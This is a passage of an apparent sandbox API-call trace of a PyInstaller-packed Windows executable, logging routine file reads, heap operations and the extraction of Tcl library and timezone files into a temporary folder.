lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.916] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.916] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.916] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.916] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.916] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.916] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.916] CloseHandle (hObject=0x10c) returned 1 [0037.917] GetLastError () returned 0x0 [0037.917] SetLastError (dwErrCode=0x0) [0037.917] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tclIndex") returned 58 [0037.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tclIndex" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tclindex"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.917] GetLastError () returned 0x2 [0037.917] SetLastError (dwErrCode=0x2) [0037.917] GetLastError () returned 0x2 [0037.917] SetLastError (dwErrCode=0x2) [0037.917] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tclIndex", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tclIndex", lpFilePart=0x0) returned 0x39 [0037.917] GetLastError () returned 0x2 [0037.917] SetLastError (dwErrCode=0x2) [0037.917] GetLastError () returned 0x2 [0037.917] SetLastError (dwErrCode=0x2) [0037.917] GetLastError () returned 0x2 [0037.917] SetLastError (dwErrCode=0x2) [0037.917] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tclIndex") returned 58 [0037.917] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tclIndex" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tclindex"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.917] GetFileType (hFile=0x10c) returned 0x1 [0037.917] htonl (hostlong=0xeb180000) returned 0x18eb [0037.917] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0037.918] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.918] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8eb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8eb, lpOverlapped=0x0) returned 1 [0037.918] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.918] CloseHandle (hObject=0x10c) returned 1 [0037.919] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.920] htonl (hostlong=0x20000000) returned 0x20 [0037.920] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.920] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.920] GetFileType (hFile=0x10c) returned 0x1 [0037.920] htonl (hostlong=0xcc225800) returned 0x5822cc [0037.920] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cd2cc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.920] htonl (hostlong=0x1f110000) returned 0x111f [0037.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x111f) returned 0x55d270 [0037.920] htonl (hostlong=0x1f110000) returned 0x111f [0037.920] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0037.921] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0037.921] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.921] htonl (hostlong=0xdd2d0000) returned 0x2ddd [0037.921] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2ddd) returned 0x561090 [0037.921] htonl (hostlong=0x1f110000) returned 0x111f [0037.921] htonl (hostlong=0xdd2d0000) returned 0x2ddd [0037.921] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563e78 [0037.922] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563e78 | out: hHeap=0x530000) returned 1 [0037.922] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.922] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.922] CloseHandle (hObject=0x10c) returned 1 [0037.922] GetLastError () returned 0x0 [0037.922] SetLastError (dwErrCode=0x0) [0037.922] GetLastError () returned 0x0 [0037.922] SetLastError (dwErrCode=0x0) [0037.922] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.922] GetFileType (hFile=0x10c) returned 0x1 [0037.922] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.922] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.922] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.923] CloseHandle (hObject=0x10c) returned 1 [0037.923] GetLastError () returned 0x0 [0037.923] SetLastError (dwErrCode=0x0) [0037.923] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tm.tcl") returned 56 [0037.923] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tm.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tm.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.923] GetLastError () returned 0x2 [0037.923] SetLastError (dwErrCode=0x2) [0037.923] GetLastError () returned 0x2 [0037.923] SetLastError (dwErrCode=0x2) [0037.923] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tm.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tm.tcl", lpFilePart=0x0) returned 0x37 [0037.923] GetLastError () returned 0x2 [0037.923] SetLastError (dwErrCode=0x2) [0037.923] GetLastError () returned 0x2 [0037.923] SetLastError (dwErrCode=0x2) [0037.923] GetLastError () returned 0x2 [0037.923] SetLastError (dwErrCode=0x2) [0037.923] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tm.tcl") returned 56 [0037.923] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.923] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tm.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tm.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.924] GetFileType (hFile=0x10c) returned 0x1 [0037.924] htonl (hostlong=0xdd2d0000) returned 0x2ddd [0037.924] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0037.925] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0037.925] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xddd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xddd, lpOverlapped=0x0) returned 1 [0037.925] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.925] CloseHandle (hObject=0x10c) returned 1 [0037.926] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0037.926] htonl (hostlong=0x20000000) returned 0x20 [0037.926] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.926] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.927] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.927] GetFileType (hFile=0x10c) returned 0x1 [0037.927] htonl (hostlong=0xeb335800) returned 0x5833eb [0037.927] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ce3eb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.927] htonl (hostlong=0x86000000) returned 0x86 [0037.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86) returned 0x55cfe0 [0037.927] htonl (hostlong=0x86000000) returned 0x86 [0037.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.927] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.927] htonl (hostlong=0x8d000000) returned 0x8d [0037.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x550600 [0037.927] htonl (hostlong=0x86000000) returned 0x86 [0037.927] htonl (hostlong=0x8d000000) returned 0x8d [0037.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.928] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.928] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.928] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.928] CloseHandle (hObject=0x10c) returned 1 [0037.928] GetLastError () returned 0x0 [0037.928] SetLastError (dwErrCode=0x0) [0037.928] GetLastError () returned 0x0 [0037.928] SetLastError (dwErrCode=0x0) [0037.928] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.928] GetFileType (hFile=0x10c) returned 0x1 [0037.928] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.928] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.928] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.929] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.929] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.929] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.929] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.929] CloseHandle (hObject=0x10c) returned 1 [0037.929] GetLastError () returned 0x0 [0037.929] SetLastError (dwErrCode=0x0) [0037.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0037.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.929] GetLastError () returned 0x2 [0037.929] SetLastError (dwErrCode=0x2) [0037.929] GetLastError () returned 0x2 [0037.929] SetLastError (dwErrCode=0x2) [0037.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata", lpFilePart=0x0) returned 0x37 [0037.929] GetLastError () returned 0x2 [0037.929] SetLastError (dwErrCode=0x2) [0037.929] GetLastError () returned 0x2 [0037.929] SetLastError (dwErrCode=0x2) [0037.929] GetLastError () returned 0x2 [0037.929] SetLastError (dwErrCode=0x2) [0037.929] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), lpSecurityAttributes=0x0) returned 1 [0037.930] GetLastError () returned 0x2 [0037.930] SetLastError (dwErrCode=0x2) [0037.930] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0037.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.930] GetLastError () returned 0x2 [0037.930] SetLastError (dwErrCode=0x2) [0037.930] GetLastError () returned 0x2 [0037.930] SetLastError (dwErrCode=0x2) [0037.930] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa", lpFilePart=0x0) returned 0x3e [0037.930] GetLastError () returned 0x2 [0037.930] SetLastError (dwErrCode=0x2) [0037.930] GetLastError () returned 0x2 [0037.930] SetLastError (dwErrCode=0x2) [0037.930] GetLastError () returned 0x2 [0037.930] SetLastError (dwErrCode=0x2) [0037.930] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), lpSecurityAttributes=0x0) returned 1 [0037.931] GetLastError () returned 0x2 [0037.931] SetLastError (dwErrCode=0x2) [0037.931] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Abidjan") returned 71 [0037.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Abidjan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\abidjan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.931] GetLastError () returned 0x2 [0037.931] SetLastError (dwErrCode=0x2) [0037.931] GetLastError () returned 0x2 [0037.931] SetLastError (dwErrCode=0x2) [0037.931] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Abidjan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Abidjan", lpFilePart=0x0) returned 0x46 [0037.931] GetLastError () returned 0x2 [0037.931] SetLastError (dwErrCode=0x2) [0037.931] GetLastError () returned 0x2 [0037.931] SetLastError (dwErrCode=0x2) [0037.931] GetLastError () returned 0x2 [0037.931] SetLastError (dwErrCode=0x2) [0037.931] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Abidjan") returned 71 [0037.931] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Abidjan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\abidjan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.932] GetFileType (hFile=0x10c) returned 0x1 [0037.932] htonl (hostlong=0x8d000000) returned 0x8d [0037.932] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.932] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8d, lpOverlapped=0x0) returned 1 [0037.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.937] CloseHandle (hObject=0x10c) returned 1 [0037.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.937] htonl (hostlong=0x30000000) returned 0x30 [0037.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.938] GetFileType (hFile=0x10c) returned 0x1 [0037.938] htonl (hostlong=0x71345800) returned 0x583471 [0037.938] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ce471, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.938] htonl (hostlong=0xe0000000) returned 0xe0 [0037.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe0) returned 0x550600 [0037.938] htonl (hostlong=0xe0000000) returned 0xe0 [0037.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.938] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.938] htonl (hostlong=0x8020000) returned 0x208 [0037.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x208) returned 0x5506e8 [0037.938] htonl (hostlong=0xe0000000) returned 0xe0 [0037.938] htonl (hostlong=0x8020000) returned 0x208 [0037.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.938] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.938] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 